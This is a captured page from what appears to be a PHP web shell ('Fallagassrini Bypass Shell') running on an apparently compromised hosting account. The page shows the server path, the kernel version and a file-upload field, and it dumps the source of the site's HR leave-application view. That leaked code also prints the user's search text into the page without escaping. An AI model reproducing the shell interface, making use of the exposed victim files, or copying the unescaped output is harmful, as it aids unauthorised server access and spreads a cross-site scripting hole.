? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/view_leave_application.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
?>

<div class="select-bar">
    <label>
        <img src="<?=base_url()?>assets/images/add-icon.png" title="Add New" class="clickimage" onclick="addformdisplay('add_leave_application','HR')" alt="Add New" align = "center" width="25" height="25"  />
    </label>
</div>

<div id="searchdiv">
    <?php

        

       $attributes=array('id'=>'searchvalidateform','class'=>'customForm');
        echo form_open('hr/viewinhrsearch/search_leave_application/view_leave_application/1',$attributes);
        if(isset($_SESSION['searchdata']))
        {
            $searchdata=$_SESSION['searchdata'];
            if(!empty($searchdata))
            {
                $searchtext=$searchdata['searchtext'];
                $searchfield=$searchdata['searchopt'];
            }
            else
            {
                $searchtext = "";
                $searchfield = "";
            }
        }
        else
        {
            $searchtext = "";
            $searchfield = "";
        }
    ?>

        Search For &nbsp;&nbsp;
        <input type="text" name="searchtext" id="searchtext" value="<?=$searchtext;?>"> &nbsp;&nbsp; In
        <select name="searchopt" id="searchopt">
             <option value="employee_no">Select</option>
             <option <?php if ($searchfield == "employee_name") echo "selected"; ?> value="employee_name">Employee Name</option>
             <option <?php if ($searchfield == "from_date") echo "selected"; ?> value="from_date">From Date</option>
             <option <?php if ($searchfield == "to_date") echo "selected"; ?> value="to_date">To Date</option>
         </select>
        <input type="submit" id="button1" onclick="addformdata('searchvalidateform')" class="clickimage" value="Search"/>
    <?php
        echo form_close();
    ?>
</div>

                        <table class="sort" cellpadding="0" cellspacing="0">
                        <caption>Leave Application</caption>
                            <thead>
                                <tr>
                                <th>Sl No</th>
                                <th>Employee Name</th>
                                <th>From Date</th>
                                <th>To Date</th>
                                <th>Leave Type</th>
                                <th>Status</th>
                               <th width="10%">Action</th>
                                </tr>
                            </thead>
                            <tbody>

                            <?php
                            
                                if ($viewinfo->num_rows() > 0)
                                {
                                    $table="";
                                    $field="";
                                    $z=1;             $i=($pagenum-1)*10;
                                    foreach ($viewinfo->result() as $row)
                                    {

                                        if($z%2==0)
                                            $alt="alt";
                                        else
                                            $alt="alt1";
                            ?>
                                <tr class="<?=$alt;?>">
                                    <td><?=++$i;?></td>
                                    <td><a href="#" onclick="displayformdata('hr','single_page','<?=$row->leave_application_id;?>','leave_application','leave_application_id','single_leave_application')" ><?=$row->employee_name;?></a></td>
                                    <td><?=$this->mastermodel->convertdatenormalformat($row->from_date);?></td>
                                    <td><?=$this->mastermodel->convertdatenormalformat($row->to_date);?></td>
                                    <td><?=$row->leave_type_name;?></td>
                                    <td><?=$row->leave_status;?></td>
                                    <td>
                                        <div id="console_fronticons">
                                            <?php
                                            $staff_list = $_SESSION['employee_id'] . ',';
                                            $employees = $this->mastermodel->traceemployee($_SESSION['employee_id'], $staff_list);
                                            $users = explode(',', $employees);
                                            if (in_array($row->employee_id, $users) && $row->leave_status == "Pending" && ($_SESSION['employee_id'] != $row->employee_id || $_SESSION['sgms_userid'] == 1))
                                            {
                                            ?>
                                            <div class="fronticons">
                                                <img src="<?=base_url()?>/assets/images/documentinfo.png"  title="Status" width="20" class="statusicon" height="20" alt="Status" align = "center" onclick="leave_approval(<?=$row->leave_application_id;?>)"/>
                                            </div>
                                            <?php
                                            }
                                            ?>
                                            <div class="fronticons">
                                                <img src="<?=base_url()?>assets/images/edit-icon.gif"  title="Edit" width="20" height="20" alt="Edit" align = "center" class="clickimage" onclick="editformdata('hr','edit_page','<?=$row->leave_application_id;?>','leave_application','leave_application_id','edit_leave_application')" alt="" />
                                            </div>
                                            <div class="fronticons">
                                                <img src="<?=base_url()?>assets/images/delete-icon.png"  title="Delete" width="20" height="20" onclick="deletedata('leave_application',<?=$row->leave_application_id;?>,'leave_application_id','hr','viewinhrsearch','search_leave_application','view_leave_application','<?=$table?>','<?=$field?>')" alt="Delete" align = "center"/>
                                            </div>
                                            
                                        </div>
                                    </td>
                            <?php
                                        $z++;

                                    }
                                    ?>
                                </tr>
                            <?php
                                }
                            ?>
                            </tbody>
                        </table>
                        
<div id="pager">
    <ul id="pagination-digg">
        <li <?php if($pagenum>1){ ?>class="previous" <?php } else { ?> class="previous-off" <?php } ?> >
         <?php if($pagenum>1){ ?><a href="#" onclick="viewdata('hr','viewinhrsearch','search_leave_application','view_leave_application',<?=$pagenum-1?>);" > <?php } ?>
         «Previous
         </a>
        </li>

        <?php
            //Pagination Numbers
            for($i=$startpage; $i<=$endpage; $i++)
            {
                if($pagenum==$i )
                {
        ?>
                    <li class="active" ><?=$i?></li>
        <?php
                }
                else
                {
        ?>
                    <li><a href="#" onclick="viewdata('hr','viewinhrsearch','search_leave_application','view_leave_application',<?=$i?>);"><?=$i?></a></li>
        <?php
                }
            }
        ?>
        <li <?php if($pagenum<$endpage){ ?>  class="next" <?php } else { ?> class="next-off" <?php } ?>>
            <?php if($pagenum<$endpage){ ?><a href="#" onclick="viewdata('hr','viewinhrsearch','search_leave_application','view_leave_application',<?=$pagenum+1?>);"> <?php } ?> Next » </a>
        </li>
   </ul>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net